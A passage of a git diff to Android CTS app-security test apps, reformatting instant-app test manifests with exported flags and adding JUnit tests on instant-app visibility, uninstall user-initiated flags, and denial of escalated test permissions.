+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.ephemeralapp2"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
index d9136d5..33f2c4f 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/ImplicitlyExposedApp/AndroidManifest.xml
@@ -15,29 +15,26 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.implicitapp">
-    <uses-sdk
-        android:minSdkVersion="24" />
+     package="com.android.cts.implicitapp">
+    <uses-sdk android:minSdkVersion="24"/>
 
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".ImplicitActivity"
-            android:theme="@android:style/Theme.NoDisplay">
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".ImplicitActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: implicitly exposes this activity to instant apps -->
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/implicit" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/implicit"/>
             </intent-filter>
         </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.implicitapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.implicitapp"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
index 9ccf83d..e7dc54a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/Android.bp
@@ -24,6 +24,8 @@
     static_libs: [
         "cts-aia-util",
         "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "truth-prebuilt",
     ],
     libs: ["android.test.base"],
     // tag this module as a cts test artifact
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
index e577260..6084e95 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/AndroidManifest.xml
@@ -15,123 +15,116 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.normalapp">
-    <uses-sdk
-        android:minSdkVersion="24" />
+     package="com.android.cts.normalapp">
+    <uses-sdk android:minSdkVersion="24"/>
 
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".NormalActivity"
-            android:theme="@android:style/Theme.NoDisplay">
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".NormalActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: ephemeral apps can't see this activity using query methods -->
             <intent-filter android:priority="-20">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can't start this activity using directed intent -->
             <intent-filter>
-                <action android:name="com.android.cts.ephemeraltest.START_NORMAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_NORMAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://normalapp.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://normalapp.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
-        <activity
-            android:name=".NormalWebActivity"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".NormalWebActivity"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
             <!-- TEST: implicitly exposes this activity to ephemeral apps -->
             <intent-filter>
-                <action android:name="android.intent.action.VIEW" />
-                <category android:name="android.intent.category.DEFAULT" />
-                <category android:name="android.intent.category.BROWSABLE" />
-                <data android:scheme="https" />
-                <data android:host="cts.google.com" />
-                <data android:path="/normal" />
+                <action android:name="android.intent.action.VIEW"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+                <category android:name="android.intent.category.BROWSABLE"/>
+                <data android:scheme="https"/>
+                <data android:host="cts.google.com"/>
+                <data android:path="/normal"/>
             </intent-filter>
         </activity>
-        <activity
-            android:name=".ExposedActivity"
-            android:visibleToInstantApps="true"
-            android:theme="@android:style/Theme.NoDisplay">
+        <activity android:name=".ExposedActivity"
+             android:visibleToInstantApps="true"
+             android:theme="@android:style/Theme.NoDisplay"
+             android:exported="true">
           <!-- TEST: ephemeral apps can see this activity using query methods -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this activity using directed intent -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <intent-filter>
-                <action android:name="android.intent.action.SEARCH" />
+                <action android:name="android.intent.action.SEARCH"/>
             </intent-filter>
             <meta-data android:name="default-url"
-                       android:value="https://normalapp.cts.android.com/search" />
-            <meta-data
-                       android:name="android.app.searchable"
-                       android:resource="@xml/searchable" />
+                 android:value="https://normalapp.cts.android.com/search"/>
+            <meta-data android:name="android.app.searchable"
+                 android:resource="@xml/searchable"/>
         </activity>
         <provider android:name=".SearchSuggestionProvider"
-            android:authorities="com.android.cts.normalapp.Search" />
+             android:authorities="com.android.cts.normalapp.Search"/>
 
-        <service
-            android:name=".NormalService">
+        <service android:name=".NormalService"
+             android:exported="true">
             <!-- TEST: ephemeral apps can't see this service using query methods -->
             <intent-filter android:priority="-20">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can't start this service using directed intent -->
             <intent-filter>
-                <action android:name="com.android.cts.ephemeraltest.START_NORMAL" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_NORMAL"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
-        <service
-            android:name=".ExposedService"
-            android:visibleToInstantApps="true">
+        <service android:name=".ExposedService"
+             android:visibleToInstantApps="true"
+             android:exported="true">
             <!-- TEST: ephemeral apps can see this service using query methods -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <!-- TEST: ephemeral apps can start this service using directed intent -->
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.ephemeraltest.START_EXPOSED"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </service>
 
-        <provider
-            android:name=".NormalProvider"
-            android:authorities="com.android.cts.normalapp.provider"
-            android:exported="true">
+        <provider android:name=".NormalProvider"
+             android:authorities="com.android.cts.normalapp.provider"
+             android:exported="true">
             <intent-filter android:priority="-20">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
-        <provider
-            android:name=".ExposedProvider"
-            android:authorities="com.android.cts.normalapp.exposed.provider"
-            android:visibleToInstantApps="true"
-            android:exported="true">
+        <provider android:name=".ExposedProvider"
+             android:authorities="com.android.cts.normalapp.exposed.provider"
+             android:visibleToInstantApps="true"
+             android:exported="true">
             <intent-filter android:priority="-10">
-                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <action android:name="com.android.cts.ephemeraltest.QUERY"/>
             </intent-filter>
         </provider>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.normalapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.normalapp"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
index d7f5424..6bc2f9a 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/NormalApp/src/com/android/cts/normalapp/ClientTest.java
@@ -16,13 +16,19 @@
 
 package com.android.cts.normalapp;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.hamcrest.CoreMatchers.hasItems;
 import static org.hamcrest.CoreMatchers.is;
 import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.hamcrest.CoreMatchers.nullValue;
+import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
+import android.Manifest;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -30,14 +36,19 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.pm.ChangedPackages;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
 import android.database.Cursor;
 import android.net.Uri;
-import android.provider.Settings.Secure;
+import android.os.PatternMatcher;
+import android.provider.Settings;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.util.TestResult;
 
 import org.junit.After;
@@ -46,6 +57,8 @@
 import org.junit.runner.RunWith;
 
 import java.util.List;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
 import java.util.concurrent.SynchronousQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -60,6 +73,9 @@
     /** Action to start ephemeral test activities */
     private static final String ACTION_START_EPHEMERAL_ACTIVITY =
             "com.android.cts.ephemeraltest.START_EPHEMERAL";
+    /** Action to start ephemeral test activities */
+    private static final String ACTION_START_OTHER_EPHEMERAL_ACTIVITY =
+            "com.android.cts.ephemeraltest.START_OTHER_EPHEMERAL";
     /** Action to query for test activities */
     private static final String ACTION_QUERY =
             "com.android.cts.ephemeraltest.QUERY";
@@ -68,6 +84,11 @@
     private static final String EXTRA_ACTIVITY_RESULT =
             "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
 
+    private static final String EPHEMERAL_1_PKG = "com.android.cts.ephemeralapp1";
+    private static final String EPHEMERAL_2_PKG = "com.android.cts.ephemeralapp2";
+    private static final String INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD =
+            "installed_instant_app_min_cache_period";
+
     private BroadcastReceiver mReceiver;
     private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
 
@@ -139,7 +160,7 @@
         // query activities; directed package
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
-            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            queryIntent.setPackage(EPHEMERAL_1_PKG);
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
             assertThat(resolveInfo.size(), is(0));
@@ -149,7 +170,7 @@
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
             queryIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralActivity"));
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
@@ -207,7 +228,7 @@
         // query services; directed package
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
-            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            queryIntent.setPackage(EPHEMERAL_1_PKG);
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
             assertThat(resolveInfo.size(), is(0));
@@ -217,7 +238,7 @@
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
             queryIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralService"));
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
@@ -273,7 +294,7 @@
         // query content providers; directed package
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
-            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            queryIntent.setPackage(EPHEMERAL_1_PKG);
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentContentProviders(queryIntent, 0 /*flags*/);
             assertThat(resolveInfo.size(), is(0));
@@ -283,7 +304,7 @@
         {
             final Intent queryIntent = new Intent(ACTION_QUERY);
             queryIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralProvider"));
             final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
                     .getPackageManager().queryIntentContentProviders(queryIntent, 0 /*flags*/);
@@ -361,7 +382,7 @@
     public void testStartEphemeral() throws Exception {
         // start the ephemeral activity; no EXTERNAL flag
         try {
-            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
+            final Intent startEphemeralIntent = new Intent(ACTION_START_OTHER_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
@@ -372,13 +393,13 @@
 
         // start the ephemeral activity; EXTERNAL flag
         {
-            final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
+            final Intent startEphemeralIntent = new Intent(ACTION_START_OTHER_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
             final TestResult testResult = getResult();
-            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
-            assertThat(ACTION_START_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
+            assertThat(EPHEMERAL_2_PKG, is(testResult.getPackageName()));
+            assertThat(ACTION_START_OTHER_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
         }
 
 
@@ -386,7 +407,7 @@
         try {
             final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            startEphemeralIntent.setPackage(EPHEMERAL_1_PKG);
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
             final TestResult testResult = getResult();
@@ -398,11 +419,11 @@
         {
             final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_MATCH_EXTERNAL);
-            startEphemeralIntent.setPackage("com.android.cts.ephemeralapp1");
+            startEphemeralIntent.setPackage(EPHEMERAL_1_PKG);
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
             final TestResult testResult = getResult();
-            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
+            assertThat(EPHEMERAL_1_PKG, is(testResult.getPackageName()));
             assertThat(ACTION_START_EPHEMERAL_ACTIVITY, is(testResult.getIntent().getAction()));
         }
 
@@ -411,7 +432,7 @@
             final Intent startEphemeralIntent = new Intent(ACTION_START_EPHEMERAL_ACTIVITY)
                     .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             startEphemeralIntent.setComponent(
-                    new ComponentName("com.android.cts.ephemeralapp1",
+                    new ComponentName(EPHEMERAL_1_PKG,
                             "com.android.cts.ephemeralapp1.EphemeralActivity"));
             InstrumentationRegistry.getContext().startActivity(
                     startEphemeralIntent, null /*options*/);
@@ -429,7 +450,7 @@
             InstrumentationRegistry.getContext().startActivity(
                     startViewIntent, null /*options*/);
             final TestResult testResult = getResult();
-            assertThat("com.android.cts.ephemeralapp1", is(testResult.getPackageName()));
+            assertThat(EPHEMERAL_1_PKG, is(testResult.getPackageName()));
             assertThat("EphemeralActivity", is(testResult.getComponentName()));
             assertThat(Intent.ACTION_VIEW, is(testResult.getIntent().getAction()));
             assertThat(testResult.getIntent().getCategories(), hasItems(Intent.CATEGORY_BROWSABLE));
@@ -488,6 +509,122 @@
         }
     }
 
+    /** Tests getting changed packages for instant app. */
+    @Test
+    public void testGetChangedPackages() {
+        final PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        // Query changed packages without permission, and we should only get normal apps.
+        final ChangedPackages changedPackages = pm.getChangedPackages(0);
+        assertThat(changedPackages.getPackageNames()).doesNotContain(EPHEMERAL_1_PKG);
+
+        // Query changed packages with permission, and we should be able to get ephemeral apps.
+        runWithShellPermissionIdentity(() -> {
+            final ChangedPackages changesInstantApp = pm.getChangedPackages(0);
+            assertThat(changesInstantApp.getPackageNames()).contains(EPHEMERAL_1_PKG);
+        }, Manifest.permission.ACCESS_INSTANT_APPS);
+    }
+
+    @Test
+    public void uninstall_userInstalledApp_shouldBeUserInitiated() {
+        runWithShellPermissionIdentity(() -> {
+            final boolean userInitiated = uninstallAndWaitForExtraUserInitiated(
+                    InstrumentationRegistry.getContext(), EPHEMERAL_1_PKG);
+
+            assertThat(userInitiated).isTrue();
+        }, Manifest.permission.DELETE_PACKAGES, Manifest.permission.ACCESS_INSTANT_APPS);
+    }
+
+    @Test
+    public void uninstall_pruneInstantApp_shouldNotBeUserInitiated() {
+        runWithShellPermissionIdentity(() -> {
+            final boolean userInitiated = pruneInstantAppAndWaitForExtraUserInitiated(
+                    InstrumentationRegistry.getContext(), EPHEMERAL_1_PKG);
+
+            assertThat(userInitiated).isFalse();
+        }, Manifest.permission.WRITE_SECURE_SETTINGS, Manifest.permission.ACCESS_INSTANT_APPS);
+    }
+
+    /**
+     * Uninstall the package and wait for the package removed intent.
+     *
+     * @return The value of {@link Intent#EXTRA_USER_INITIATED} associated with the intent.
+     */
+    private boolean uninstallAndWaitForExtraUserInitiated(Context context, String packageName) {
+        final Runnable uninstall = () -> {
+            final PackageInstaller packageInstaller = context.getPackageManager()
+                    .getPackageInstaller();
+            packageInstaller.uninstall(packageName, null);
+        };
+
+        final Intent packageRemoved = executeAndWaitForPackageRemoved(
+                context, packageName, uninstall);
+        return packageRemoved.getBooleanExtra(Intent.EXTRA_USER_INITIATED, false);
+    }
+
+    /**
+     * Runs the shell command {@code pm trim-caches} to invoke system to prune instant applications.
+     * Waits for the package removed intent and returns the extra filed.
+     *
+     * @return The value of {@link Intent#EXTRA_USER_INITIATED} associated with the intent.
+     */
+    private boolean pruneInstantAppAndWaitForExtraUserInitiated(Context context,
+            String packageName) {
+        final String defaultPeriod = Settings.Global.getString(context.getContentResolver(),
+                INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD);
+        final Runnable trimCaches = () -> {
+            // Updates installed instant app minimum cache period to zero to ensure that system
+            // could uninstall instant apps when trim-caches is invoked.
+            Settings.Global.putInt(context.getContentResolver(),
+                    INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD, 0);
+            SystemUtil.runShellCommand("pm trim-caches " + Long.MAX_VALUE + " internal");
+        };
+
+        try {
+            final Intent packageRemoved = executeAndWaitForPackageRemoved(
+                    context, packageName, trimCaches);
+            return packageRemoved.getBooleanExtra(Intent.EXTRA_USER_INITIATED, false);
+        } finally {
+            Settings.Global.putString(context.getContentResolver(),
+                    INSTALLED_INSTANT_APP_MIN_CACHE_PERIOD, defaultPeriod);
+        }
+    }
+
+    /**
+     * Executes a command and waits for the package removed intent.
+     *
+     * @return The {@link Intent#ACTION_PACKAGE_REMOVED} associated with the given package name.
+     */
+    private Intent executeAndWaitForPackageRemoved(Context context, String packageName,
+            Runnable command) {
+        final IntentFilter filter = new IntentFilter(Intent.ACTION_PACKAGE_REMOVED);
+        filter.addDataScheme("package");
+        filter.addDataSchemeSpecificPart(packageName, PatternMatcher.PATTERN_LITERAL);
+        final BlockingQueue<Intent> intentQueue = new LinkedBlockingQueue<>();
+        final BroadcastReceiver removedReceiver = new BroadcastReceiver() {
+            @Override
+            public void onReceive(Context context, Intent intent) {
+                try {
+                    intentQueue.put(intent);
+                } catch (InterruptedException e) {
+                    fail("Cannot add intent to intent blocking queue!");
+                }
+            }
+        };
+        context.registerReceiver(removedReceiver, filter);
+        try {
+            command.run();
+            final Intent intent = intentQueue.poll(60 /* timeout */, TimeUnit.SECONDS);
+            assertNotNull("Timed out to wait for package removed intent", intent);
+            return intent;
+        } catch (InterruptedException e) {
+            fail("Failed to get package removed intent: " + e.getMessage());
+        } finally {
+            context.unregisterReceiver(removedReceiver);
+        }
+        return null;
+    }
+
     private TestResult getResult() {
         final TestResult result;
         try {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
index b44e04a..c2dde3c 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/UserApp/AndroidManifest.xml
@@ -15,25 +15,23 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.userapp"
-    android:targetSandboxVersion="2">
+     package="com.android.cts.userapp"
+     android:targetSandboxVersion="2">
 
-    <application
-        android:label="@string/app_name">
-        <uses-library android:name="android.test.runner" />
-        <activity
-            android:name=".UserActivity"
-            android:directBootAware="true" >
+    <application android:label="@string/app_name">
+        <uses-library android:name="android.test.runner"/>
+        <activity android:name=".UserActivity"
+             android:directBootAware="true"
+             android:exported="true">
             <!-- TEST: when installed as an instant app, normal apps can't query for it -->
             <!-- TEST: when installed as a full app, normal apps can query for it -->
             <intent-filter android:priority="0">
-                <action android:name="com.android.cts.instantappusertest.QUERY" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.instantappusertest.QUERY"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             </activity>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.userapp" />
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:targetPackage="com.android.cts.userapp"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
index 7d866ab..b2360a7 100644
--- a/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
+++ b/hostsidetests/appsecurity/test-apps/EscalateToRuntimePermissions/src/com/android/cts/escalatepermission/PermissionEscalationTest.java
@@ -50,33 +50,33 @@
                 PermissionInfo.PROTECTION_SIGNATURE, (stealAudio1Permission2.protectionLevel
                         & PermissionInfo.PROTECTION_MASK_BASE));
      }
-     
-     @Test
-     public void testRuntimePermissionsAreNotGranted() throws Exception {
-         // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
-         //                     during runtime but can become one during reboot.
-         Context context = InstrumentationRegistry.getTargetContext();
 
-         // Ensure permission is now dangerous but denied
-         PermissionInfo stealAudio1Permission1 = context.getPackageManager()
-                 .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
-         assertSame("Signature permission can become dangerous after reboot",
-                 PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
+    @Test
+    public void testRuntimePermissionsAreNotGranted() throws Exception {
+        // TODO (b/172366747): It is weird that the permission cannot become a runtime permission
+        //                     during runtime but can become one during reboot.
+        Context context = InstrumentationRegistry.getTargetContext();
+
+        // Ensure permission is now dangerous but denied
+        PermissionInfo stealAudio1Permission1 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO1, 0);
+        assertSame("Signature permission can become dangerous after reboot",
+                PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission1.protectionLevel
                         & PermissionInfo.PROTECTION_MASK_BASE));
 
-         assertSame("Permission should be denied",
-                 context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
-                 PackageManager.PERMISSION_DENIED);
+        assertSame("Permission should be denied",
+                context.checkSelfPermission(Manifest.permission.STEAL_AUDIO1),
+                PackageManager.PERMISSION_DENIED);
 
-         // Ensure permission is now dangerous but denied
-         PermissionInfo stealAudio1Permission2 = context.getPackageManager()
-                 .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
-         assertSame("Signature permission can become dangerous after reboot",
-                 PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
-                         & PermissionInfo.PROTECTION_MASK_BASE));
+        // Ensure permission is now dangerous but denied
+        PermissionInfo stealAudio1Permission2 = context.getPackageManager()
+                .getPermissionInfo(Manifest.permission.STEAL_AUDIO2, 0);
+        assertSame("Signature permission can become dangerous after reboot",
+                PermissionInfo.PROTECTION_DANGEROUS, (stealAudio1Permission2.protectionLevel
+                        & PermissionInfo.PROTECTION_MASK_BASE));
 
-         assertSame("Permission should be denied",
-                 context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
-                 PackageManager.PERMISSION_DENIED);
+        assertSame("Permission should be denied",
+                context.checkSelfPermission(Manifest.permission.STEAL_AUDIO2),
+                PackageManager.PERMISSION_DENIED);
     }
-}
+ }
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
index 974e2ea..134b231 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/Android.bp
@@ -19,7 +19,8 @@
 android_test_helper_app {
     name: "CtsExternalStorageApp",
     defaults: ["cts_support_defaults"],
-    sdk_version: "29",
+    target_sdk_version: "29",
+    sdk_version: "30",
     static_libs: [
         "androidx.test.rules",
         "CtsExternalStorageTestLib",
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/TEST_MAPPING
new file mode 100644
index 0000000..b08a98e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+    "presubmit-large": [
+        {
+            "name": "CtsAppSecurityHostTestCases",
+            "options": [
+                {
+                    "include-filter": "android.appsecurity.cts.ExternalStorageHostTest"
+                }
+            ]
+        }
+    ]
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java
index 9b5424b..51395bd 100644
--- a/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ExternalStorageApp/src/com/android/cts/externalstorageapp/ExternalStorageTest.java
